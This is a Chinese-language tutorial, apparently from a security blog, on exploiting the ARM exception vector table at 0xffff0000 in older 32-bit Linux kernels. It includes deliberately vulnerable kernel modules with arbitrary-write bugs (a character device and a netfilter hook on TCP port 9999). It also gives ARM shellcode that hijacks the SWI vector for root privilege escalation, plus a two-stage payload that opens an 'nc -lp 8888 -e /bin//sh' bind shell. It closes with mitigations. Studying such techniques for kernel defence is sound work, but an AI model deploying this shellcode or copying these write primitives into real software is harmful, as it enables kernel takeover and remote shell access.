ARM异常向量表攻击
字数 2022 2025-08-20 18:17:07
ARM异常向量表(EVT)攻击技术详解
1. ARM异常向量表概述
ARM异常向量表(Event Vector Table, EVT)是ARM架构中类似于x86架构中IDT(中断描述符表)的机制。当ARM处理器发生异常时,CPU会停止当前指令的执行,并将控制权转移到对应的异常处理程序。
1.1 ARM异常类型与模式
ARM架构定义了7种异常类型,每种异常对应特定的处理器模式:
| 异常类型 | 处理器模式 | 描述 |
|---|---|---|
| 快速中断请求(FIQ) | FIQ模式 | 需要快速响应和低延迟的中断 |
| 中断请求(IRQ) | IRQ模式 | 通用中断处理 |
| 软件中断或重置 | 管理员模式(SVC) | 操作系统的保护模式 |
| 预读取或数据终止 | 终止模式(Abort) | 访问无效/无格式内存时触发 |
| 未定义指令 | 未定义模式(Undef) | 执行未定义指令时触发 |
此外还有用户模式(普通程序执行)和系统模式(特权用户模式)。
1.2 异常向量表结构
在32位ARM Linux系统中,异常向量表位于固定地址0xffff0000,包含8个条目,每个条目4字节:
| 异常类型 | 偏移量 | 地址 |
|---|---|---|
| 重置 | 0x0 | 0xffff0000 |
| 未定义指令 | 0x4 | 0xffff0004 |
| 软件中断(SWI) | 0x8 | 0xffff0008 |
| 预读取终止 | 0xc | 0xffff000c |
| 数据终止 | 0x10 | 0xffff0010 |
| 保留 | 0x14 | 0xffff0014 |
| IRQ | 0x18 | 0xffff0018 |
| FIQ | 0x1c | 0xffff001c |
2. EVT攻击原理
EVT之所以成为攻击目标,是因为:
- 位于内存中固定已知地址(
0xffff0000) - 在传统Linux内核中是可写且可执行的
- 每个异常处理程序的偏移量固定且已知
2.1 攻击可行性分析
攻击者可以通过以下方式利用EVT:
- 覆盖异常向量表中的条目,使其指向攻击者控制的代码
- 利用软件中断(SWI)向量特别有效,因为:
- 所有系统调用都通过SWI向量
- 在进程上下文中执行
- 可以访问进程寄存器状态
2.2 攻击前提条件
成功实施EVT攻击需要:
- 存在任意地址写入漏洞(what-where原语)
- 知道内核内存布局(地址信息)
- 目标系统未对EVT实施写保护
3. 本地攻击实例
3.1 漏洞模块分析
示例中使用一个有任意写入漏洞的字符设备:
static ssize_t on_write(struct file *filp, const char *buff,
size_t len, loff_t *off) {
size_t siz = len;
void *where = NULL;
char *what = NULL;
if(siz > sizeof(where))
what = buff + sizeof(where);
else
goto end;
copy_from_user(&where, buff, sizeof(where));
memcpy(where, what, sizeof(void *));
end:
return siz;
}
该漏洞允许攻击者指定任意地址并在该地址写入任意数据。
3.2 攻击步骤
- 存储后门代码:将shellcode存储在
0xffff0020(EVT附近空闲区域) - 覆盖SWI向量:修改
0xffff0008处的SWI向量,使其跳转到shellcode - 触发执行:通过系统调用触发shellcode执行
3.3 后门shellcode示例
; 检查magic值
cmp r7, #0xb0000000
bne exit
elevate:
stmfd sp!,{r0-r12}
mov r0, #0
ldr r3, =0xc0049a00 ; prepare_kernel_cred
blx r3
ldr r4, =0xc0049438 ; commit_creds
blx r4
ldmfd sp!, {r0-r12, pc}^ ; 返回用户空间
exit:
ldr pc, [pc, #980] ; 跳转到正常SWI处理程序
该shellcode会检查r7寄存器中的magic值,若匹配则提升当前进程权限。
4. 远程攻击实例
4.1 漏洞模块分析
使用存在漏洞的netfilter模块:
if(ip->protocol == IPPROTO_TCP) {
tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb));
currport = ntohs(tcp->dest);
if((currport == 9999)) {
tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4));
where = ((void **)tcp_data)[0];
len = ((uint8_t *)(tcp_data + sizeof(where)))[0];
what = tcp_data + sizeof(where) + sizeof(len);
memcpy(where, what, len);
}
}
该模块监听TCP 9999端口,允许远程攻击者向任意地址写入数据。
4.2 两阶段攻击方案
- 第一阶段:存储两段shellcode到
0xffff0020 - 覆盖SWI向量:修改
0xffff0008指向第一阶段shellcode - 执行流程:
- 系统调用触发第一阶段代码
- 第一阶段设置返回地址为第二阶段shellcode
- 返回用户空间执行第二阶段(bind shell)
4.3 两阶段shellcode示例
第一阶段shellcode:
stage_1:
adr lr, stage_2
push {lr}
stmfd sp!, {r0-r12}
ldr r0, =0xe59ff410 ; 原始SWI向量值
ldr r1, =0xffff0008
str r0, [r1] ; 恢复原始SWI向量
ldmfd sp!, {r0-r12, pc}^ ; 返回到stage_2
第二阶段shellcode(bind shell):
stage_2:
ldr r0, =0x6e69622f ; /bin
ldr r1, =0x68732f2f ; /sh
eor r2, r2, r2 ; NULL
push {r0, r1, r2}
mov r0, sp
ldr r4, =0x0000632d ; -c\x00\x00
push {r4}
mov r4, sp
; 设置nc -lp 8888 -e /bin//sh参数
; ...(省略部分参数设置代码)
mov r1, sp
mov r7, #11 ; execve系统调用号
swi 0x0
5. 防御措施与限制
-
现代内核保护:
- 将EVT映射为只读(grsec/Pax)
- 内核地址空间布局随机化(KASLR)
-
攻击限制:
- 需要知道内核地址信息
- 依赖EVT可写特性(新内核可能已修复)
- 存储shellcode的位置可能被其他内核使用
-
缓解建议:
- 启用内核写保护
- 使用最新内核版本
- 实施完整的SMEP/SMAP保护
6. 扩展攻击思路
- 中断堆栈溢出:中断堆栈通常位于EVT附近,可能存在溢出利用可能
- 多阶段攻击:结合其他漏洞实现更复杂的攻击链
- 持久化后门:将shellcode存储在不会被覆盖的内核区域
7. 总结
ARM异常向量表攻击是一种利用内核任意写入漏洞修改异常处理流程的技术。通过覆盖SWI等关键异常向量,攻击者可以实现本地权限提升或远程代码执行。虽然现代内核已增加保护措施,但理解这种攻击技术对于内核安全研究和防御策略制定仍有重要意义。